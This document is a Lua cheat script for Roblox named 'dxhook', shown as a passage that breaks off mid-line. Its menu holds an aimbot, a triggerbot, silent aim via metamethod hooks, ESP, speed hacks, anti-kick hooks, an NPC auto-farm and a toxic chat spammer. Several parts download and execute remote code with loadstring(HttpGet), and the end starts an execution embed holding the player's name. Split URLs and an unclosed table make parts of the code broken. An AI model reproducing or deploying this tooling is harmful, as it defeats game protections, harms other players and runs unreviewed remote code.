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game.

StarterGui:SetCore("SendNotification", {
Title = "DxHook";
Text = "Whitelisted Loading Gui";
Icon = "rbxthumb://type=Asset&id=7181624799&w=150&h=150";
Button1 = "Alr Bet";
})

local whitelistecheck =
loadstring(game:HttpGet("https://raw.githubusercontent.com/alingiaer/whitelist/
main/users", true))()

local GroupID = 9014662


local plr = game.Players.LocalPlayer
repeat wait() until plr.Character

if whitelistecheck[game:service('Players').LocalPlayer.UserId] then
print("User Id Whitelisted")
if plr:IsInGroup(GroupID) then
print("Group Id Whitelisted")

local library31 =
loadstring(game:HttpGet("https://raw.githubusercontent.com/dwa31/lua/main/
utaniyorum"))()

library31:CreateWatermark("dxhook")

-- Aimlock Settings

getgenv().AimPart = "HumanoidRootPart" -- For R15 Games: {UpperTorso, LowerTorso,


HumanoidRootPart, Head} | For R6 Games: {Head, Torso, HumanoidRootPart}
getgenv().AimlockKey = "q"
getgenv().AimRadius = 30 -- How far away from someones character you want to lock
on at
getgenv().ThirdPerson = true
getgenv().FirstPerson = true
getgenv().TeamCheck = false -- Check if Target is on your Team (True means it wont
lock onto your teamates, false is vice versa) (Set it to false if there are no
teams)
getgenv().PredictMovement = true -- Predicts if they are moving in fast velocity
(like jumping) so the aimbot will go a bit faster to match their speed
getgenv().PredictionVelocity = 3.372
getgenv().OldAimPart = "HumanoidRootPart"
getgenv().CheckIfJumped = true
getgenv().Multiplier = -0.27

local Config = {
WindowName = "dxhook.cc | v2.0.0",
Color = Color3.fromRGB(255,0,255),
Keybind = Enum.KeyCode.RightShift
}

local Library =
loadstring(game:HttpGet("https://raw.githubusercontent.com/AlexR32/Roblox/main/
BracketV3.lua"))()
local Window = Library:CreateWindow(Config, game:GetService("CoreGui"))
Window:SetBackground("6880496154")

local Tab1 = Window:CreateTab("Legit")


local Tab2 = Window:CreateTab("Rage")
local Tab3 = Window:CreateTab("Misc")
local Tab4 = Window:CreateTab("Target")

-- Fucking Aimlock

repeat wait() until game:IsLoaded()

getgenv().Aimlock = false

local Players, Uis, RService, SGui = game:GetService"Players",


game:GetService"UserInputService", game:GetService"RunService",
game:GetService"StarterGui";
local Client, Mouse, Camera, CF, RNew, Vec3, Vec2 = Players.LocalPlayer,
Players.LocalPlayer:GetMouse(), workspace.CurrentCamera, CFrame.new, Ray.new,
Vector3.new, Vector2.new;
local MousePressed, CanNotify = false, false;
local AimlockTarget;
local OldPre;

getgenv().CiazwareUniversalAimbotLoaded = true

getgenv().WorldToViewportPoint = function(P)
return Camera:WorldToViewportPoint(P)
end

getgenv().WorldToScreenPoint = function(P)
return Camera.WorldToScreenPoint(Camera, P)
end

getgenv().GetObscuringObjects = function(T)
if T and T:FindFirstChild(getgenv().AimPart) and Client and
Client.Character:FindFirstChild("Head") then
local RayPos = workspace:FindPartOnRay(RNew(
T[getgenv().AimPart].Position, Client.Character.Head.Position)
)
if RayPos then return RayPos:IsDescendantOf(T) end
end
end

getgenv().GetNearestTarget = function()
-- Credits to whoever made this, i didnt make it, and my own mouse2plr
function kinda sucks
local players = {}
local PLAYER_HOLD = {}
local DISTANCES = {}
for i, v in pairs(Players:GetPlayers()) do
if v ~= Client then
table.insert(players, v)
end
end
for i, v in pairs(players) do
if v.Character ~= nil then
local AIM = v.Character:FindFirstChild("Head")
if getgenv().TeamCheck == true and v.Team ~= Client.Team then
local DISTANCE =
(v.Character:FindFirstChild("Head").Position -
game.Workspace.CurrentCamera.CFrame.p).magnitude
local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p,
(Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
local HIT,POS = game.Workspace:FindPartOnRay(RAY,
game.Workspace)
local DIFF = math.floor((POS - AIM.Position).magnitude)
PLAYER_HOLD[v.Name .. i] = {}
PLAYER_HOLD[v.Name .. i].dist= DISTANCE
PLAYER_HOLD[v.Name .. i].plr = v
PLAYER_HOLD[v.Name .. i].diff = DIFF
table.insert(DISTANCES, DIFF)
elseif getgenv().TeamCheck == false and v.Team == Client.Team
then
local DISTANCE =
(v.Character:FindFirstChild("Head").Position -
game.Workspace.CurrentCamera.CFrame.p).magnitude
local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p,
(Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
local HIT,POS = game.Workspace:FindPartOnRay(RAY,
game.Workspace)
local DIFF = math.floor((POS - AIM.Position).magnitude)
PLAYER_HOLD[v.Name .. i] = {}
PLAYER_HOLD[v.Name .. i].dist= DISTANCE
PLAYER_HOLD[v.Name .. i].plr = v
PLAYER_HOLD[v.Name .. i].diff = DIFF
table.insert(DISTANCES, DIFF)
end
end
end

if unpack(DISTANCES) == nil then


return nil
end

local L_DISTANCE = math.floor(math.min(unpack(DISTANCES)))


if L_DISTANCE > getgenv().AimRadius then
return nil
end

for i, v in pairs(PLAYER_HOLD) do
if v.diff == L_DISTANCE then
return v.plr
end
end
return nil
end

Mouse.KeyDown:Connect(function(a)
if not (Uis:GetFocusedTextBox()) then
if a == AimlockKey and AimlockTarget == nil then
pcall(function()
if MousePressed ~= true then MousePressed = true end
local Target;Target = GetNearestTarget()
if Target ~= nil then
AimlockTarget = Target
end
end)
elseif a == AimlockKey and AimlockTarget ~= nil then
if AimlockTarget ~= nil then AimlockTarget = nil end
if MousePressed ~= false then
MousePressed = false
end
end
end
end)
RService.RenderStepped:Connect(function()
local AimPartOld = getgenv().OldAimPart
if getgenv().ThirdPerson == true and getgenv().FirstPerson == true then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 or
(Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == true and getgenv().FirstPerson == false then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == false and getgenv().FirstPerson == true then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
end
if getgenv().Aimlock == true and MousePressed == true then
if AimlockTarget and AimlockTarget.Character and
AimlockTarget.Character:FindFirstChild(getgenv().AimPart) then
if getgenv().FirstPerson == true then
if CanNotify == true then
if getgenv().PredictMovement == true then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position +
AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
elseif getgenv().PredictMovement == false then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position)
end
end
elseif getgenv().ThirdPerson == true then
if CanNotify == true then
if getgenv().PredictMovement == true then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position +
AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
elseif getgenv().PredictMovement == false then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position)
end
end
end
end
end
if getgenv().CheckIfJumped == true then
if AimlockTarget.Character.Humanoid.FloorMaterial == Enum.Material.Air
and AimlockTarget.Character.Humanoid.Jump == true then
getgenv().AimPart = "RightLowerLeg"
else
getgenv().AimPart = AimPartOld
end
end
end)

-- End Fucking Aimlock Function

-- Legit Section

local Section1 = Tab1:CreateSection("Aimbot")

local Toggle1 = Section1:CreateToggle("Enabled", nil, function(state)


getgenv().Aimlock = not getgenv().Aimlock
end)

local Toggle2 = Section1:CreateToggle("Airshot function", nil, function(state)


getgenv().CheckIfJumped = state
end)

local Dropdown1 = Section1:CreateDropdown("Bodypart",


{"Head","UpperTorso","HumanoidRootPart","LowerTorso"}, function(objective)
getgenv().AimPart = objective
getgenv().OldAimPart = objective
end)

local Section2 = Tab1:CreateSection("Triggerbot")

local Toggle3 = Section2:CreateToggle("Enabled", nil, function(state)


local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local Players = game:FindService("Players")

if state == true then


repeat wait()
local target = mouse.Target
if target then
if target.Parent:IsA("Model") then
for i,v in pairs(Players:GetChildren()) do
if v.Name == target.Parent.Name or v.Name
== target.Parent.Parent.Name then
mouse1click()
end
end
end
end
until state == false
end
end)

local Toggle4 = Section2:CreateToggle("Delay", nil, function()

end)

local TextBox1 = Section2:CreateTextBox("Set Delay", "", true, function()

end)
local Section3 = Tab1:CreateSection("Aimbot Settings")

local TextBox2 = Section3:CreateTextBox("Aim Prediction", "", true, function(a)


getgenv().PredictionVelocity = tostring(a)
end)

local TextBox3167 = Section3:CreateTextBox("Aim radius", "", true, function(a)


getgenv().AimRadius = tonumber(a)
end)

local TextBox3 = Section3:CreateTextBox("Aim Key", "", true, function(a)


getgenv().AimlockKey = tonumber(a)
end)

-- Finish <3

-- Rage Section

local Section4 = Tab2:CreateSection("Silent Aim")

local Toggle5 = Section4:CreateToggle("Silent Aim", nil,


function(saksoamaarkakoltukolan)
local Aiming =
loadstring(game:HttpGet("https://raw.githubusercontent.com/alingiaer/silenta/main/
asd"))()
Aiming.TeamCheck(false)

local Workspace = game:GetService("Workspace")


local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")

local LocalPlayer = Players.LocalPlayer


local Mouse = LocalPlayer:GetMouse()
local CurrentCamera = Workspace.CurrentCamera

local DaHoodSettings = {
SilentAim = true,
AimLock = false,
AimLockKeybind = Enum.KeyCode.E
}
getgenv().DaHoodSettings = DaHoodSettings

function Aiming.Check()
if not (Aiming.Enabled == true and Aiming.Selected ~= LocalPlayer and
Aiming.SelectedPart ~= nil) then
return false
end

local Character = Aiming.Character(Aiming.Selected)


local KOd = Character:WaitForChild("BodyEffects")["K.O"].Value
local Grabbed = Character:FindFirstChild("GRABBING_CONSTRAINT") ~= nil

if (KOd or Grabbed) then


return false
end

return true
end

local __index
__index = hookmetamethod(game, "__index", function(t, k)
if (t:IsA("Mouse") and (k == "Hit" or k == "Target") and
Aiming.Check()) then
local SelectedPart = Aiming.SelectedPart

if (DaHoodSettings.SilentAim and (k == "Hit" or k == "Target"))


then
local Hit = SelectedPart.CFrame + (SelectedPart.Velocity *
DaHoodSettings.Prediction)

return (k == "Hit" and Hit or SelectedPart)


end
end

return __index(t, k)
end)

RunService:BindToRenderStep("AimLock", 0, function()
if (DaHoodSettings.AimLock and Aiming.Check() and
UserInputService:IsKeyDown(DaHoodSettings.AimLockKeybind)) then
local SelectedPart = Aiming.SelectedPart

local Hit = SelectedPart.CFrame + (SelectedPart.Velocity *


DaHoodSettings.Prediction)

CurrentCamera.CFrame =
CFrame.lookAt(CurrentCamera.CFrame.Position, Hit.Position)
end
end)
if saksoamaarkakoltukolan == false then
Aiming.ShowFOV = false
DaHoodSettings.Prediction = 0
Aiming.FOV = 0
end
end)

local Toggle7 = Section4:CreateToggle("Ping Based Prediction", nil, function()


DaHoodSettings.Prediction = 0.420
end)

local Toggle8 = Section4:CreateToggle("Visible Check", nil, function(cuvalue)


Aiming.VisibleCheck = cuvalue
end)

local Toggle9 = Section4:CreateToggle("Ignore FOV", nil, function()


Aiming.ShowFOV = false
end)

local Dropdown4 = Section4:CreateDropdown("Hitbox",


{"Head","UpperTorso","HumanoidRootPart","LowerTorso"}, function(L_73_arg0)
getgenv().AimPart = L_73_arg0
end)

local Section5 = Tab2:CreateSection("FOV")

local Toggle10 = Section5:CreateToggle("Enabled", nil, function(L_75_arg0)


Aiming.ShowFOV = L_75_arg0
end)

local Slider5 = Section5:CreateSlider("Size", 0,500,nil,true, function(L_74_arg0)


Aiming.FOV = L_74_arg0
end)

local Colorpicker1 = Section5:CreateColorpicker("Color", function(Valuecolor)


Aiming.FOVColour = Valuecolor
end)

-- Finish <3

local Section6 = Tab3:CreateSection("Movement")

local Button1234 = Section6:CreateButton("Anti-Lock FIX", function()


for _, v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Script") and v.Name ~= "Health" and v.Name ~= "Sound" and
v:FindFirstChild("LocalScript") then
v:Destroy()
end
end
game.Players.LocalPlayer.CharacterAdded:Connect(function(char)
repeat
wait()
until game.Players.LocalPlayer.Character
char.ChildAdded:Connect(function(child)
if child:IsA("Script") then
wait(0.1)
if child:FindFirstChild("LocalScript") then
child.LocalScript:FireServer()
end
end
end)
end)

end)

local glitch = false


local clicker = false

local TextBox24356 = Section6:CreateTextBox("Speed (use -0.10 to -0.60 [antilock],


can be used for speed hack)", "", true, function(a)
getgenv().Multiplier = a
end)

local Button12374 = Section6:CreateButton("Antilock Improved (Z)", function()


local userInput = game:service('UserInputService')
local runService = game:service('RunService')

userInput.InputBegan:connect(function(Key)
if Key.KeyCode == Enum.KeyCode.Z then
Enabled = not Enabled
if Enabled == true then
repeat

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame +
game.Players.LocalPlayer.Character.Humanoid.MoveDirection * getgenv().Multiplier
runService.Stepped:wait()
until Enabled == false
end
end
end)
end)

local Button92374 = Section6:CreateButton("Toggle Speed Glitch (X)", function()


local Player = game:GetService("Players").LocalPlayer
local Mouse = Player:GetMouse()
local SpeedGlitch = false
local Wallet = Player.Backpack:FindFirstChild("Wallet")

local UniversalAnimation = Instance.new("Animation")

function stopTracks()
for _, v in next,
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):
GetPlayingAnimationTracks() do
if (v.Animation.AnimationId:match("rbxassetid")) then
v:Stop()
end
end
end

function loadAnimation(id)
if UniversalAnimation.AnimationId == id then
stopTracks()
UniversalAnimation.AnimationId = "1"
else
UniversalAnimation.AnimationId = id
local animationTrack =
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):
LoadAnimation(UniversalAnimation)
animationTrack:Play()
end
end

Mouse.KeyDown:Connect(function(Key)
if Key == "x" then
SpeedGlitch = not SpeedGlitch
if SpeedGlitch == true then
stopTracks()
loadAnimation("rbxassetid://3189777795")
wait(1.5)
Wallet.Parent = Player.Character
wait(0.15)
Player.Character:FindFirstChild("Wallet").Parent =
Player.Backpack
wait(0.05)
repeat game:GetService("RunService").Heartbeat:wait()
keypress(0x49)
game:GetService("RunService").Heartbeat:wait()
keypress(0x4F)
game:GetService("RunService").Heartbeat:wait()
keyrelease(0x49)
game:GetService("RunService").Heartbeat:wait()
keyrelease(0x4F)
game:GetService("RunService").Heartbeat:wait()
until SpeedGlitch == false
end
end
end)
end)

local Button99678074 = Section6:CreateButton("Toxic Message (K)", function()


local plr = game.Players.LocalPlayer
repeat wait() until plr.Character
local char = plr.Character

local garbage = {
"mad kid";
"ur bad";
"sonney boy";
"ez";
"my grandma has more skill than you";
"seed";
"sit son";
"trash";
"LOL";
"LMAO";
"imagine being you right now";
"xd";
"don't try LOL";
"you lose";
"why do you even try";
"I didn't think being this bad was possible";
"leave";
"no skill";
"so sad man.";
"bad";
"you're nothing";
"lol";
"so trash";
"so bad";
"ur salty";
"salty";
"look he's mad";
"cry more";
"keep crying";
"cry baby";
"hahaha I won";
"no one likes u";
"run 1s seed";
"thank you for your time";
"you were so close!";
"better luck next time!";
"rodent";
"HAHA";
"ill 5-0";
"just quit";
"time to take out the trash";
"did you get worse?";
"I'm surprised you haven't quit yet";
"lol ur aim buy dxhook";
"quit please";
"bruh momoent";
"bro where ur aim?";
"oh he very bad";

function TrashTalk(inputObject, gameProcessedEvent)


if inputObject.KeyCode == Enum.KeyCode.K and gameProcessedEvent == false then

game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(
garbage[math.random(1,#garbage)],
"All"
)
end
end

game:GetService("UserInputService").InputBegan:connect(TrashTalk)
end)

local Button99074 = Section6:CreateButton("Auto Clicker (V)", function()


local Player = game:GetService("Players").LocalPlayer
local Mouse = Player:GetMouse()
local Clicking = false
Mouse.KeyDown:Connect(function(Key)
if Key == "z" then
Clicking = not Clicking
if Clicking == true then
repeat
mouse1click()
wait(0.001)
until Clicking == false
end
end
end)
end)

local Button1 = Section6:CreateButton("Anti-Slow", function()


repeat
wait()
until game:IsLoaded()
getgenv().Fix = true
getgenv().TeclasWS = {
["tecla1"] = "nil",
["tecla2"] = "nil",
["tecla3"] = "H"
}
local L_121_ = game:GetService("Players")
local L_122_ = game:GetService("StarterGui") or "son una mierda"
local L_123_ = L_121_.LocalPlayer
local L_124_ = L_123_:GetMouse()
local L_125_ = getrenv()._G
local L_126_ = getrawmetatable(game)
local L_127_ = L_126_.__newindex
local L_128_ = L_126_.__index
local L_129_ = 22
local L_130_ = true
function anunciar_atentado_terrorista(L_138_arg0)
L_122_:SetCore("SendNotification", {
Title = "anti lock fix",
Text = L_138_arg0
})
end
getgenv().TECHWAREWALKSPEED_LOADED = true
wait(1.5)
anunciar_atentado_terrorista("Press " .. TeclasWS.tecla3 .. " to turn on/off
anti lock fix")
L_124_.KeyDown:Connect(
function(L_139_arg0)
if L_139_arg0:lower() == TeclasWS.tecla1:lower() then
L_129_ = L_129_ + 1
anunciar_atentado_terrorista("播放器速度已提高 (speed = " ..
tostring(L_129_) .. ")")
elseif L_139_arg0:lower() == TeclasWS.tecla2:lower() then
L_129_ = L_129_ - 1
anunciar_atentado_terrorista("玩家的速度已降低 (speed = " ..
tostring(L_129_) .. ")")
elseif L_139_arg0:lower() == TeclasWS.tecla3:lower() then
if L_130_ then
L_130_ = false
anunciar_atentado_terrorista("anti lock fix off")
else
L_130_ = true
anunciar_atentado_terrorista("anti lock fix on")
end
end
end
)
setreadonly(L_126_, false)
L_126_.__index =
newcclosure(
function(L_140_arg0, L_141_arg1)
local L_142_ = checkcaller()
if L_141_arg1 == "WalkSpeed" and not L_142_ then
return L_125_.CurrentWS
end
return L_128_(L_140_arg0, L_141_arg1)
end
)
L_126_.__newindex =
newcclosure(
function(L_143_arg0, L_144_arg1, L_145_arg2)
local L_146_ = checkcaller()
if L_130_ then
if L_144_arg1 == "WalkSpeed" and L_145_arg2 ~= 0 and not L_146_
then
return L_127_(L_143_arg0, L_144_arg1, L_129_)
end
end
return L_127_(L_143_arg0, L_144_arg1, L_145_arg2)
end
)
setreadonly(L_126_, true)
repeat
wait()
until game:IsLoaded()
local L_131_ = game:service("Players")
local L_132_ = L_131_.LocalPlayer
repeat
wait()
until L_132_.Character
local L_133_ = game:service("UserInputService")
local L_134_ = game:service("RunService")
local L_135_ = -0.27
local L_136_ = false
local L_137_
L_133_.InputBegan:connect(
function(L_147_arg0)
if L_147_arg0.KeyCode == Enum.KeyCode.LeftBracket then
L_135_ = L_135_ + 0.01
print(L_135_)
wait(0.2)
while L_133_:IsKeyDown(Enum.KeyCode.LeftBracket) do
wait()
L_135_ = L_135_ + 0.01
print(L_135_)
end
end
if L_147_arg0.KeyCode == Enum.KeyCode.RightBracket then
L_135_ = L_135_ - 0.01
print(L_135_)
wait(0.2)
while L_133_:IsKeyDown(Enum.KeyCode.RightBracket) do
wait()
L_135_ = L_135_ - 0.01
print(L_135_)
end
end
if L_147_arg0.KeyCode == Enum.KeyCode.Z then
L_136_ = not L_136_
if L_136_ == true then
repeat

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame +

game.Players.LocalPlayer.Character.Humanoid.MoveDirection * L_135_
game:GetService("RunService").Stepped:wait()
until L_136_ == false
end
end
end)
end)

local Button2 = Section6:CreateButton("Fake Speed Glitch (Q)", function()


mouse = game.Players.LocalPlayer:GetMouse()
down = false
local plr = game:GetService('Players').LocalPlayer

function onButton1Down(mouse)
down = true
while down do
if not down then break end
local char = plr.Character

char.HumanoidRootPart.Velocity = char.HumanoidRootPart.CFrame.lookVector * 250


wait()
end
end

function onButton1Up(mouse)
down = false
end

function onSelected(mouse)
mouse.KeyDown:connect(function(k) if k:lower()=="q"then onButton1Down(mouse)end
end)
mouse.KeyUp:connect(function(k) if k:lower()=="q"then onButton1Up(mouse)end
end)
end

onSelected(game.Players.LocalPlayer:GetMouse())
end)

local Button5 = Section6:CreateButton("WalkSpeed", function()


--// Local Functions
local lp = game:GetService"Players".LocalPlayer
local SuperSpeed =
Instance.new("IntValue",lp.Character.BodyEffects.Movement);SuperSpeed.Name =
"SuperSpeed"
local HulkJump =
Instance.new("IntValue",lp.Character.BodyEffects.Movement);HulkJump.Name =
"HulkJump"
--// Local Functions

if bodyeffects_folder.Movement:findFirstChild("SuperSpeed") then
walkspeed = 300
end
if bodyeffects_folder.Movement:findFirstChild("HighJump") then
jumppower = 30
end
end)

-- Finish <3

local Section7 = Tab3:CreateSection("more")

local Toggle13 = Section7:CreateToggle("Auto Farm", nil, function(texto)


repeat
wait()
until game:IsLoaded()
local gm = getrawmetatable(game)
setreadonly(gm, false)
local namecall = gm.__namecall
gm.__namecall =
newcclosure(
function(self, ...)
local args = {...}
if not checkcaller() and getnamecallmethod() == "FireServer" and
tostring(self) == "MainEvent" then
if tostring(getcallingscript()) ~= "Framework" then
return
end
end
if not checkcaller() and getnamecallmethod() == "Kick" then
return
end
return namecall(self, unpack(args))
end
)

local LocalPlayer = game:GetService("Players").LocalPlayer

function gettarget()
local Character = LocalPlayer.Character or
LocalPlayer.CharacterAdded:wait()
local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart")
local maxdistance = math.huge
local target
for i, v in pairs(game:GetService("Workspace").Cashiers:GetChildren())
do
if v:FindFirstChild("Head") and v:FindFirstChild("Humanoid") and
v.Humanoid.Health > 0 then
local distance = (HumanoidRootPart.Position -
v.Head.Position).magnitude
if distance < maxdistance then
target = v
maxdistance = distance
end
end
end
return target
end

for i, v in pairs(workspace:GetDescendants()) do
if v:IsA("Seat") then
v:Destroy()
end
end

shared.MoneyFarm = texto -- Just execute shared.MoneyFarm = false to stop


farming

while shared.MoneyFarm do
wait()
local Target = gettarget()
repeat
wait()
pcall(
function()
local Character = LocalPlayer.Character or
LocalPlayer.CharacterAdded:wait()
local HumanoidRootPart =
Character:WaitForChild("HumanoidRootPart")
local Combat =
LocalPlayer.Backpack:FindFirstChild("Combat") or Character:FindFirstChild("Combat")
if not Combat then
Character:FindFirstChild("Humanoid").Health = 0
return
end
HumanoidRootPart.CFrame = Target.Head.CFrame *
CFrame.new(0, -2.5, 3)
Combat.Parent = Character
Combat:Activate()
end
)
until not Target or Target.Humanoid.Health < 0
for i, v in
pairs(game:GetService("Workspace").Ignored.Drop:GetDescendants()) do
if v:IsA("ClickDetector") and v.Parent and
v.Parent.Name:find("Money") then
local Character = LocalPlayer.Character or
LocalPlayer.CharacterAdded:wait()
local HumanoidRootPart =
Character:WaitForChild("HumanoidRootPart")
if (v.Parent.Position -
HumanoidRootPart.Position).magnitude <= 18 then
repeat
wait()
fireclickdetector(v)
until not v or not v.Parent.Parent
end
end
end
wait(1)
end
end)

local Button6 = Section7:CreateButton("Best Animation", function()


local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?
id=782841498"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?
id=782845736"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?
id=616168032"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616163682"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?
id=616161997"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?
id=782843869"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?
id=782846423"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)

local Button6908 = Section7:CreateButton("Esp", function()

local Settings = {
Box_Color = Color3.fromRGB(255, 0, 0),
Tracer_Color = Color3.fromRGB(255, 0, 0),
Tracer_Thickness = 1,
Box_Thickness = 1,
Tracer_Origin = "Bottom", -- Middle or Bottom if FollowMouse is on this won't
matter...
Tracer_FollowMouse = false,
Tracers = false
}
local Team_Check = {
TeamCheck = false, -- if TeamColor is on this won't matter...
Green = Color3.fromRGB(0, 255, 0),
Red = Color3.fromRGB(255, 0, 0)
}
local TeamColor = false

--// SEPARATION
local player = game:GetService("Players").LocalPlayer
local camera = game:GetService("Workspace").CurrentCamera
local mouse = player:GetMouse()

local function NewQuad(thickness, color)


local quad = Drawing.new("Quad")
quad.Visible = false
quad.PointA = Vector2.new(0,0)
quad.PointB = Vector2.new(0,0)
quad.PointC = Vector2.new(0,0)
quad.PointD = Vector2.new(0,0)
quad.Color = color
quad.Filled = false
quad.Thickness = thickness
quad.Transparency = 1
return quad
end

local function NewLine(thickness, color)


local line = Drawing.new("Line")
line.Visible = false
line.From = Vector2.new(0, 0)
line.To = Vector2.new(0, 0)
line.Color = color
line.Thickness = thickness
line.Transparency = 1
return line
end

local function Visibility(state, lib)


for u, x in pairs(lib) do
x.Visible = state
end
end

local function ToColor3(col) --Function to convert, just cuz c;


local r = col.r --Red value
local g = col.g --Green value
local b = col.b --Blue value
return Color3.new(r,g,b); --Color3 datatype, made of the RGB inputs
end

local black = Color3.fromRGB(0, 0 ,0)


local function ESP(plr)
local library = {
--//Tracer and Black Tracer(black border)
blacktracer = NewLine(Settings.Tracer_Thickness*2, black),
tracer = NewLine(Settings.Tracer_Thickness, Settings.Tracer_Color),
--//Box and Black Box(black border)
black = NewQuad(Settings.Box_Thickness*2, black),
box = NewQuad(Settings.Box_Thickness, Settings.Box_Color),
--//Bar and Green Health Bar (part that moves up/down)
healthbar = NewLine(3, black),
greenhealth = NewLine(1.5, black)
}

local function Colorize(color)


for u, x in pairs(library) do
if x ~= library.healthbar and x ~= library.greenhealth and x ~=
library.blacktracer and x ~= library.black then
x.Color = color
end
end
end

local function Updater()


local connection
connection = game:GetService("RunService").RenderStepped:Connect(function()
if plr.Character ~= nil and plr.Character:FindFirstChild("Humanoid") ~=
nil and plr.Character:FindFirstChild("HumanoidRootPart") ~= nil and
plr.Character.Humanoid.Health > 0 and plr.Character:FindFirstChild("Head") ~= nil
then
local HumPos, OnScreen =
camera:WorldToViewportPoint(plr.Character.HumanoidRootPart.Position)
if OnScreen then
local head =
camera:WorldToViewportPoint(plr.Character.Head.Position)
local DistanceY = math.clamp((Vector2.new(head.X, head.Y) -
Vector2.new(HumPos.X, HumPos.Y)).magnitude, 2, math.huge)

local function Size(item)


item.PointA = Vector2.new(HumPos.X + DistanceY, HumPos.Y -
DistanceY*2)
item.PointB = Vector2.new(HumPos.X - DistanceY, HumPos.Y -
DistanceY*2)
item.PointC = Vector2.new(HumPos.X - DistanceY, HumPos.Y +
DistanceY*2)
item.PointD = Vector2.new(HumPos.X + DistanceY, HumPos.Y +
DistanceY*2)
end
Size(library.box)
Size(library.black)

--//Tracer
if Settings.Tracers then
if Settings.Tracer_Origin == "Middle" then
library.tracer.From = camera.ViewportSize*0.5
library.blacktracer.From = camera.ViewportSize*0.5
elseif Settings.Tracer_Origin == "Bottom" then
library.tracer.From =
Vector2.new(camera.ViewportSize.X*0.5, camera.ViewportSize.Y)
library.blacktracer.From =
Vector2.new(camera.ViewportSize.X*0.5, camera.ViewportSize.Y)
end
if Settings.Tracer_FollowMouse then
library.tracer.From = Vector2.new(mouse.X, mouse.Y+36)
library.blacktracer.From = Vector2.new(mouse.X,
mouse.Y+36)
end
library.tracer.To = Vector2.new(HumPos.X, HumPos.Y +
DistanceY*2)
library.blacktracer.To = Vector2.new(HumPos.X, HumPos.Y +
DistanceY*2)
else
library.tracer.From = Vector2.new(0, 0)
library.blacktracer.From = Vector2.new(0, 0)
library.tracer.To = Vector2.new(0, 0)
library.blacktracer.To = Vector2.new(0, 02)
end

--// Health Bar


local d = (Vector2.new(HumPos.X - DistanceY, HumPos.Y -
DistanceY*2) - Vector2.new(HumPos.X - DistanceY, HumPos.Y + DistanceY*2)).magnitude

local healthoffset =
plr.Character.Humanoid.Health/plr.Character.Humanoid.MaxHealth * d

library.greenhealth.From = Vector2.new(HumPos.X - DistanceY -


4, HumPos.Y + DistanceY*2)
library.greenhealth.To = Vector2.new(HumPos.X - DistanceY - 4,
HumPos.Y + DistanceY*2 - healthoffset)

library.healthbar.From = Vector2.new(HumPos.X - DistanceY - 4,


HumPos.Y + DistanceY*2)
library.healthbar.To = Vector2.new(HumPos.X - DistanceY - 4,
HumPos.Y - DistanceY*2)

local green = Color3.fromRGB(0, 255, 0)


local red = Color3.fromRGB(255, 0, 0)

library.greenhealth.Color = red:lerp(green,
plr.Character.Humanoid.Health/plr.Character.Humanoid.MaxHealth);

if Team_Check.TeamCheck then
if plr.TeamColor == player.TeamColor then
Colorize(Team_Check.Green)
else
Colorize(Team_Check.Red)
end
else
library.tracer.Color = Settings.Tracer_Color
library.box.Color = Settings.Box_Color
end
if TeamColor == true then
Colorize(plr.TeamColor.Color)
end
Visibility(true, library)
else
Visibility(false, library)
end
else
Visibility(false, library)
if game.Players:FindFirstChild(plr.Name) == nil then
connection:Disconnect()
end
end
end)
end
coroutine.wrap(Updater)()
end

for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name ~= player.Name then
coroutine.wrap(ESP)(v)
end
end

game.Players.PlayerAdded:Connect(function(newplr)
if newplr.Name ~= player.Name then
coroutine.wrap(ESP)(newplr)
end
end)
end)

-- Target Section

local Section9 = Tab4:CreateSection("UI Toggle")

local Toggle31 = Section9:CreateToggle("", nil, function(State)


Window:Toggle(State)
end)
Toggle31:CreateKeybind(tostring(Config.Keybind):gsub("Enum.KeyCode.", ""),
function(Key)
Config.Keybind = Enum.KeyCode[Key]
end)
Toggle31:SetState(true)

-- Finish <3

local aimbotEnabled = false


local smoothness = false
local aimbotTarg = nil
local aimbotPart = ""
local aimFov = 40

--dxhook showcase
local Content = ""
local Embed = {
["title"] = "***Execution***",
["description"] = "Name: "..plr.Name.."\nDisplay Name:
